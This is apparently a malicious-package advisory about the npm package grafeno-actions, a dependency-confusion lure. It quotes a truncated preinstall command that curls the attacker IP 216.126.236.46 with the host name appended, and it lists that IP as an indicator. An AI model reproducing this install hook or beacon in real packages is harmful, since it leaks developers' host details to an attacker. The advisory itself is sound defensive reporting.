GCVE-110-OSM-2026-11408

This package is a dependency-confusion lure used to run an attacker-controlled install-time command on a fresh npm account, with the likely attacker model being opportunistic credential/host recon against a private package namespace. The `package.json` preinstall explicitly curls a URL, which is direct command execution plus outbound beaconing that leaks environment identity. The version `999.0.0`, the account age of 2 days, and the absence of a repository are consistent with a throwaway malicious publisher rather than a legitimate library. OSV advisory `MAL-2026-15596` is corroborated by the actual install script, so this should be treated as confirmed malicious. ENTRY - Preinstall Script in package.json: ""preinstall": "curl -s http://216.126.236.46:8080/rce?pkg=grafeno-actions&h=$(ho..." DESTINATION - 1 fetched-payload (ipv4) (values recorded in verified_iocs) EXFIL - Suspicious Domain in package.json: "http://216.126.236.46" ADDITIONAL FINDINGS - Very New NPM Publisher Account